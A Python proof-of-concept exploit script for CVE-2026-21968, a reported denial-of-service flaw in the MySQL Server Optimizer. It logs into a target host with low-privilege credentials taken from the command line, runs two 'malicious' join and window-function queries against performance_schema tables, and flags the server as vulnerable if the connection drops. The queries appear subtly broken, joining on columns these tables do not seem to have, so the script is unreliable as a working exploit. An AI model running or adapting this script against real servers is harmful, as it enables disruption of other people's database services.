CVE-2026-21968 Oracle MySQL Server Optimizer拒绝服务漏洞

# CVE-2026-21968 PoC - MySQL Optimizer DoS # Requires low-privilege MySQL user with SELECT permission import mysql.connector import sys def exploit_mysql_dos(target_host, username, password, database='mysql'): """ Exploit CVE-2026-21968 by triggering MySQL Optimizer crash This PoC demonstrates the DoS condition in MySQL Optimizer component """ try: conn = mysql.connector.connect( host=target_host, user=username, password=password, database=database ) cursor = conn.cursor() # Malicious query to trigger optimizer vulnerability # This query pattern exploits the optimizer's handling of complex joins malicious_queries = [ # Pattern 1: Complex multi-table join with aggregation """ SELECT t1.id, COUNT(t2.id) as cnt FROM performance_schema.events_statements_current t1 INNER JOIN performance_schema.events_statements_history t2 ON t1.id = t2.id INNER JOIN performance_schema.events_statements_summary_by_digest t3 ON t2.id = t3.schema_name INNER JOIN performance_schema.events_statements_summary_global_by_digest t4 ON t3.id = t4.schema_name GROUP BY t1.id HAVING cnt > 0 ORDER BY cnt DESC LIMIT 100 """, # Pattern 2: Subquery with window functions """ SELECT *, ROW_NUMBER() OVER (PARTITION BY id ORDER BY id) as rn FROM ( SELECT id, digest_text FROM performance_schema.events_statements_current WHERE digest_text IS NOT NULL ) AS subq1 INNER JOIN ( SELECT id, digest_text FROM performance_schema.events_statements_history WHERE digest_text IS NOT NULL ) AS subq2 ON subq1.id = subq2.id """ ] for i, query in enumerate(malicious_queries): print(f"[*] Executing test query {i+1}/{len(malicious_queries)}...") try: cursor.execute(query) print(f"[+] Query {i+1} executed (server may be vulnerable)") except mysql.connector.Error as e: if "Lost connection" in str(e) or "Gone away" in str(e): print(f"[!] Server crashed or connection lost - VULNERABLE!") return True else: print(f"[-] Query {i+1} failed: {e}") cursor.close() conn.close() return False except Exception as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <host> <username> <password>") sys.exit(1) host = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2026-21968 on {host}") vulnerable = exploit_mysql_dos(host, user, pwd) if vulnerable: print("[!] Target is VULNERABLE to CVE-2026-21968") else: print("[*] Target appears NOT vulnerable or query did not trigger condition")